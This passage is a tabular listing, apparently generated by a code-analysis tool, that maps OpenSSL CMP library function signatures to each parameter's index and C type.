ossl_cmp_certstatus_set0_certHash | 0 | OSSL_CMP_CERTSTATUS * | +| (OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *) | | ossl_cmp_certstatus_set0_certHash | 1 | ASN1_OCTET_STRING * | +| (OSSL_CMP_CHALLENGE *) | | OSSL_CMP_CHALLENGE_free | 0 | OSSL_CMP_CHALLENGE * | +| (OSSL_CMP_CHALLENGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CHALLENGE | 0 | OSSL_CMP_CHALLENGE ** | +| (OSSL_CMP_CHALLENGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CHALLENGE | 1 | const unsigned char ** | +| (OSSL_CMP_CHALLENGE **,const unsigned char **,long) | | d2i_OSSL_CMP_CHALLENGE | 2 | long | +| (OSSL_CMP_CRLSOURCE *) | | OSSL_CMP_CRLSOURCE_free | 0 | OSSL_CMP_CRLSOURCE * | +| (OSSL_CMP_CRLSOURCE **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSOURCE | 0 | OSSL_CMP_CRLSOURCE ** | +| (OSSL_CMP_CRLSOURCE **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSOURCE | 1 | const unsigned char ** | +| (OSSL_CMP_CRLSOURCE **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSOURCE | 2 | long | +| (OSSL_CMP_CRLSTATUS *) | | OSSL_CMP_CRLSTATUS_free | 0 | OSSL_CMP_CRLSTATUS * | +| (OSSL_CMP_CRLSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSTATUS | 0 | OSSL_CMP_CRLSTATUS ** | +| (OSSL_CMP_CRLSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSTATUS | 1 | const unsigned char ** | +| (OSSL_CMP_CRLSTATUS **,const unsigned char **,long) | | d2i_OSSL_CMP_CRLSTATUS | 2 | long | +| (OSSL_CMP_CTX *) | | ossl_cmp_genm_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *) | | ossl_cmp_pkiconf_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *) | | ossl_cmp_rr_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,EVP_PKEY *) | | OSSL_CMP_CTX_set1_pkey | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,EVP_PKEY *) | | OSSL_CMP_CTX_set1_pkey | 1 | EVP_PKEY * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_geninfo_ITAV | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_geninfo_ITAV | 1 | OSSL_CMP_ITAV * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_genm_ITAV | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_ITAV *) | | OSSL_CMP_CTX_push0_genm_ITAV | 1 | OSSL_CMP_ITAV * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_recipNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_recipNonce | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_transactionID | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | OSSL_CMP_MSG_update_transactionID | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_add_extraCerts | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_add_extraCerts | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_protect | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_MSG *) | | ossl_cmp_msg_protect | 1 | OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *) | | ossl_cmp_ctx_set0_statusString | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *) | | ossl_cmp_ctx_set0_statusString | 1 | OSSL_CMP_PKIFREETEXT * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_init | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_init | 1 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_set_transactionID | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_set_transactionID | 1 | OSSL_CMP_PKIHEADER * | +| (OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t) | | OSSL_CMP_CTX_set_certConf_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t) | | OSSL_CMP_CTX_set_certConf_cb | 1 | OSSL_CMP_certConf_cb_t | +| (OSSL_CMP_CTX *,OSSL_CMP_log_cb_t) | | OSSL_CMP_CTX_set_log_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_log_cb_t) | | OSSL_CMP_CTX_set_log_cb | 1 | OSSL_CMP_log_cb_t | +| (OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t) | | OSSL_CMP_CTX_set_transfer_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t) | | OSSL_CMP_CTX_set_transfer_cb | 1 | OSSL_CMP_transfer_cb_t | +| (OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_get1_certReqTemplate | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_get1_certReqTemplate | 1 | OSSL_CRMF_CERTTEMPLATE ** | +| (OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_get1_certReqTemplate | 2 | OSSL_CMP_ATAVS ** | +| (OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t) | | OSSL_CMP_CTX_set_http_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t) | | OSSL_CMP_CTX_set_http_cb | 1 | OSSL_HTTP_bio_cb_t | +| (OSSL_CMP_CTX *,POLICYINFO *) | | OSSL_CMP_CTX_push0_policy | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,POLICYINFO *) | | OSSL_CMP_CTX_push0_policy | 1 | POLICYINFO * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_cert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_cert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_oldCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_oldCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_srvCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | OSSL_CMP_CTX_set1_srvCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set0_newCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set0_newCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set1_validatedSrvCert | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *) | | ossl_cmp_ctx_set1_validatedSrvCert | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 1 | X509 * | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 2 | int | +| (OSSL_CMP_CTX *,X509 *,int,const char **) | | OSSL_CMP_certConf_cb | 3 | const char ** | +| (OSSL_CMP_CTX *,X509_EXTENSIONS *) | | OSSL_CMP_CTX_set0_reqExtensions | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509_EXTENSIONS *) | | OSSL_CMP_CTX_set0_reqExtensions | 1 | X509_EXTENSIONS * | +| (OSSL_CMP_CTX *,X509_STORE *) | | OSSL_CMP_CTX_set0_trustedStore | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509_STORE *) | | OSSL_CMP_CTX_set0_trustedStore | 1 | X509_STORE * | +| (OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *) | | OSSL_CMP_CTX_build_cert_chain | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *) | | OSSL_CMP_CTX_build_cert_chain | 1 | X509_STORE * | +| (OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *) | | OSSL_CMP_CTX_build_cert_chain | 2 | stack_st_X509 * | +| (OSSL_CMP_CTX *,const ASN1_INTEGER *) | | OSSL_CMP_CTX_set1_serialNumber | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_INTEGER *) | | OSSL_CMP_CTX_set1_serialNumber | 1 | const ASN1_INTEGER * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_senderNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_senderNonce | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_transactionID | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | OSSL_CMP_CTX_set1_transactionID | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_first_senderNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_first_senderNonce | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_recipNonce | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const ASN1_OCTET_STRING *) | | ossl_cmp_ctx_set1_recipNonce | 1 | const ASN1_OCTET_STRING * | +| (OSSL_CMP_CTX *,const GENERAL_NAME *) | | OSSL_CMP_CTX_push1_subjectAltName | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const GENERAL_NAME *) | | OSSL_CMP_CTX_push1_subjectAltName | 1 | const GENERAL_NAME * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_http_perform | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_http_perform | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_validate_msg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *) | | OSSL_CMP_validate_msg | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 1 | const OSSL_CMP_MSG * | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 2 | ossl_cmp_allow_unprotected_cb_t | +| (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 3 | int | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 1 | const OSSL_CMP_PKISI * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 2 | const OSSL_CRMF_CERTID * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 3 | int | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 1 | const OSSL_CMP_PKISI * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 2 | int64_t | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 3 | const char * | +| (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int) | | ossl_cmp_error_new | 4 | int | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 1 | const X509 * | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 2 | X509 ** | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 3 | X509 ** | +| (OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **) | | OSSL_CMP_get1_rootCaKeyUpdate | 4 | X509 ** | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 1 | const X509 * | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 2 | const X509_CRL * | +| (OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **) | | OSSL_CMP_get1_crlUpdate | 3 | X509_CRL ** | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_expected_sender | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_expected_sender | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_issuer | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_issuer | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_recipient | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_recipient | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_subjectName | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_NAME *) | | OSSL_CMP_CTX_set1_subjectName | 1 | const X509_NAME * | +| (OSSL_CMP_CTX *,const X509_REQ *) | | OSSL_CMP_CTX_set1_p10CSR | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const X509_REQ *) | | OSSL_CMP_CTX_set1_p10CSR | 1 | const X509_REQ * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | const char * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | const char * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | const char * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | const char * | +| (OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_genp_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *) | | ossl_cmp_genp_new | 1 | const stack_st_OSSL_CMP_ITAV * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 1 | const unsigned char * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | int | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 1 | const unsigned char * | +| (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | int | +| (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | int | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | int | +| (OSSL_CMP_CTX *,int,EVP_PKEY *) | | OSSL_CMP_CTX_set0_newPkey | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,EVP_PKEY *) | | OSSL_CMP_CTX_set0_newPkey | 1 | int | +| (OSSL_CMP_CTX *,int,EVP_PKEY *) | | OSSL_CMP_CTX_set0_newPkey | 2 | EVP_PKEY * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | OSSL_CMP_exec_certreq | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | OSSL_CMP_exec_certreq | 1 | int | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | OSSL_CMP_exec_certreq | 2 | const OSSL_CRMF_MSG * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | ossl_cmp_certreq_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | ossl_cmp_certreq_new | 1 | int | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *) | | ossl_cmp_certreq_new | 2 | const OSSL_CRMF_MSG * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 1 | int | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 2 | const OSSL_CRMF_MSG * | +| (OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *) | | OSSL_CMP_try_certreq | 3 | int * | +| (OSSL_CMP_CTX *,int,int64_t) | | ossl_cmp_pollRep_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int64_t) | | ossl_cmp_pollRep_new | 1 | int | +| (OSSL_CMP_CTX *,int,int64_t) | | ossl_cmp_pollRep_new | 2 | int64_t | +| (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 1 | int | +| (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | int | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 1 | int | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 2 | int | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 3 | const OSSL_CMP_PKISI * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 4 | X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 5 | const EVP_PKEY * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 6 | const X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 7 | stack_st_X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 8 | stack_st_X509 * | +| (OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int) | | ossl_cmp_certrep_new | 9 | int | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 1 | int | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 2 | int | +| (OSSL_CMP_CTX *,int,int,const char *) | | ossl_cmp_certConf_new | 3 | const char * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_extraCertsOut | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_extraCertsOut | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_untrusted | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | OSSL_CMP_CTX_set1_untrusted | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_caPubs | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_caPubs | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_extraCertsIn | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_extraCertsIn | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_newChain | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 *) | | ossl_cmp_ctx_set1_newChain | 1 | stack_st_X509 * | +| (OSSL_CMP_CTX *,stack_st_X509 **) | | OSSL_CMP_get1_caCerts | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,stack_st_X509 **) | | OSSL_CMP_get1_caCerts | 1 | stack_st_X509 ** | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 1 | void * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 1 | void * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 0 | OSSL_CMP_CTX * | +| (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 1 | void * | +| (OSSL_CMP_ERRORMSGCONTENT *) | | OSSL_CMP_ERRORMSGCONTENT_free | 0 | OSSL_CMP_ERRORMSGCONTENT * | +| (OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_ERRORMSGCONTENT | 0 | OSSL_CMP_ERRORMSGCONTENT ** | +| (OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_ERRORMSGCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_ERRORMSGCONTENT | 2 | long | +| (OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_free | 0 | OSSL_CMP_ITAV * | +| (OSSL_CMP_ITAV **,const unsigned char **,long) | | d2i_OSSL_CMP_ITAV | 0 | OSSL_CMP_ITAV ** | +| (OSSL_CMP_ITAV **,const unsigned char **,long) | | d2i_OSSL_CMP_ITAV | 1 | const unsigned char ** | +| (OSSL_CMP_ITAV **,const unsigned char **,long) | | d2i_OSSL_CMP_ITAV | 2 | long | +| (OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_set0 | 0 | OSSL_CMP_ITAV * | +| (OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_set0 | 1 | ASN1_OBJECT * | +| (OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_set0 | 2 | ASN1_TYPE * | +| (OSSL_CMP_KEYRECREPCONTENT *) | | OSSL_CMP_KEYRECREPCONTENT_free | 0 | OSSL_CMP_KEYRECREPCONTENT * | +| (OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_KEYRECREPCONTENT | 0 | OSSL_CMP_KEYRECREPCONTENT ** | +| (OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_KEYRECREPCONTENT | 1 | const unsigned char ** | +| (OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long) | | d2i_OSSL_CMP_KEYRECREPCONTENT | 2 | long | +| (OSSL_CMP_MSG *) | | OSSL_CMP_MSG_free | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG **,const unsigned char **,long) | | d2i_OSSL_CMP_MSG | 0 | OSSL_CMP_MSG ** | +| (OSSL_CMP_MSG **,const unsigned char **,long) | | d2i_OSSL_CMP_MSG | 1 | const unsigned char ** | +| (OSSL_CMP_MSG **,const unsigned char **,long) | | d2i_OSSL_CMP_MSG | 2 | long | +| (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 0 | OSSL_CMP_MSG * | +| (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 1 | OSSL_LIB_CTX * | +| (OSSL_CMP_MSG 